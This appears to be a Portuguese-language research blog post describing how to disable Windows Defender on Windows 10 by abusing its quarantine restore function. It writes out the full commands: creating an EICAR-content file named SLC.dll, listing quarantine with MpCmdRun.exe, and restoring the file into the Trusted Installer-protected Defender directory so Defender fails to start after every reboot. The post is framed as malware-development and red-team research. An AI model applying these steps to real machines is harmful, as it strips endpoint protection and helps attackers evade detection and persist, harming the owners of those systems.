> For the complete documentation index, see [llms.txt](https://stacked-rwx.gitbook.io/public/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://stacked-rwx.gitbook.io/public/researchs/bypass-tamper-protection-trusted-installer-and-killing-windows-defender.md). # Bypass Tamper Protection, Trusted Installer, and Killing Windows Defender Quero deixar registrado meu agradecimento ao DMX pelo apoio, e principalmente à equipe HoS. **GitHub HackerOnSteroids:** \ **DMX:** \ **Me:** Agora, vamos ao que interessa!\ \ Testado na versão **10.0.19045.6216** do **Windows 10.** ## Introdução Antes de entrarmos de cabeça no conteúdo, quero esclarecer alguns termos para que você prossiga no artigo com uma melhor compreensão. ### O que é Trusted Installer? * O **Trusted Installer** é um serviço interno do Windows responsável por instalar, modificar e remover componentes críticos do sistema operacional, como atualizações do Windows, drivers de segurança e recursos protegidos.\ \ Esse serviço possui mais privilégios do que a própria conta de **Administrador** e é utilizado principalmente pelo **Windows Modules Installer Service** (*TrustedInstaller.exe*).\ \ Em outras palavras, o diretório do **Windows Defender** é totalmente protegido pelo Trusted Installer. Isso torna **impossível**, pelos métodos convencionais, apagar ou modificar qualquer arquivo dentro desse diretório.

### **O que é Tamper Protection?** * O **Tamper Protection** é um recurso de segurança do **Windows Defender** projetado para impedir que malwares, scripts ou usuários não autorizados alterem as configurações de proteção do antivírus ou desativem seus recursos críticos.\ \ A função desse mecanismo é proteger o próprio Windows Defender contra desativação ou manipulação, algo muito comum em ataques avançados, como **ransomwares**, **rootkits** e **trojans**. \ \ Quando o Tamper Protection está habilitado, **nem mesmo um usuário com privilégios de Administrador consegue desativar manualmente o Windows Defender** por métodos convencionais, garantindo uma camada extra de segurança contra ameaças persistentes.

## Ataque Antes de tudo, é necessário que você tenha **acesso administrativo** na rede. Caso ainda não possua privilégios de Administrador, recomendo obtê-los para que consiga executar o passo a passo com sucesso. Em seguida, abra o **cmd.exe** como Administrador e digite o seguinte comando: ```powershell "C:\ProgramData\Microsoft\Windows Defender\Platform\sua-versao\MpCmdRun.exe" -Restore -ListAll ``` Esse comando listará todos os arquivos em quarentena.

Essa é a .dll que eu criei e para fazê-lo, execute o seguinte comando: ```powershell echo X5O!P%@AP[4\PZX54(P^^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* > %TEMP%\SLC.dll ``` Após executar o comando, o **Windows Defender** irá detectar a ação e **encaminhar o arquivo para o modo de quarentena**.

Considerando que **não é possível escrever diretamente na pasta do Windows Defender**, por que não tentar **usar o próprio Windows Defender para contornar suas próprias proteções** e adicionar arquivos dentro do diretório protegido pelo **Trusted Installer**? Ao obter o **nome do ThreatName** ao listar os arquivos em quarentena, podemos utilizar o seguinte comando: ```powershell "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25070.5-0\MpCmdRun.exe" -Restore -Name Virus:DOS/EICAR_Test_File -Path "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25070.5-0" ``` **Observação:** é necessário utilizar as aspas `""` junto ao nome do diretório. Com isso, obtemos o seguinte resultado:

Vejam só! Consegui adicionar a **.dll** dentro do diretório do **Windows Defender**. Para provar que **realmente não é possível fazer isso pelos métodos convencionais**, observe o seguinte:

E dando permissão:

Ou seja, **não é possível realizar essa ação manualmente**, e muito menos pelo **cmd**, mesmo estando logado como Administrador.

### Reiniciando Agora, vamos **reiniciar a máquina**.

Após reiniciar, é possível observar que o **Windows Defender apresenta uma lentidão** ao tentar obter algumas informações de proteção:

Aguardando um pouco, aparenta estar tudo certo:

Clicando em gerenciar configurações:

E depois de alguns minutos...

Observe um detalhe no **System Informer**:

O Windows Defender está tentando iniciar mas não consegue :D Observando no Procmon:

Absolutamente nada! E se eu tentar reiniciar?

Definitivamente, o **Windows Defender foi desativado** e, mesmo reiniciando a máquina de forma convencional, ele **não retorna**. Sempre que for iniciado, o Defender irá **carregar a SLC.dll**, o que fará com que seja desativado novamente. ## Final Esta pesquisa demandou algum tempo e, sinceramente, é apenas a **primeira de muitas que virão**. Definitivamente, os estudos de **desenvolvimento de malware** são essenciais para qualquer **pesquisador ou red teamer**. Até mais!